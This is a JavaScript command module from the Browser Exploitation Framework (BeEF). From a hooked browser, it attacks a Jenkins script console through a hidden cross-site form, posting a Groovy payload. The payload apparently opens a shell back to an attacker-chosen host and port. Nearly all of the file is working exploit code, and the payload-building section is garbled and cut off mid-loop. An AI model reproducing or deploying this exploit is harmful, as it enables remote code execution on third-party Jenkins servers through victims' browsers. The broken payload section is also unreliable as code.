// // Copyright (c) 2006-2026Wade Alcorn - wade@bindshell.net // Browser Exploitation Framework (BeEF) - https://beefproject.com // See the file 'doc/COPYING' for copying permission // beef.execute(function() { var rproto = '<%= @rproto %>'; var rhost = '<%= @rhost %>'; var rport = '<%= @rport %>'; var targeturi = '<%= @uri %>'; var lhost = '<%= @lhost %>'; var lport = '<%= @lport %>'; var target = rproto + '://' + rhost + ':' + rport + targeturi + '/script'; var timeout = 15; var payload_name = '<%= @payload %>'; var peer = rhost + ':' + rport; cleanup = function() { try { document.body.removeChild(jenkins_groovy_code_exec_iframe_<%= @command_id %>); } catch(e) { beef.debug("Could not remove iframe: " + e.message); } } setTimeout("cleanup()", timeout*1000); payload = function() { var whitespace = ''; for (var i=0; i&1" ].execute()'; payload = payload.replace(/ /g, whitespace); break; } return payload } exploit = function() { var groovy = payload(); beef.debug(peer + " - Sending payload (" + groovy.length + " bytes)"); var jenkins_groovy_code_exec_iframe_<%= @command_id %> = beef.dom.createIframeXsrfForm(target, "POST", "application/x-www-form-urlencoded", [ {'type':'hidden', 'name':'script', 'value':groovy }, {'type':'hidden', 'name':'Submit', 'value':'Run' }, ]); beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=exploit attempted"); } try { exploit(); } catch(e) { beef.debug(peer + " - Exploit failed: " + e.message); } });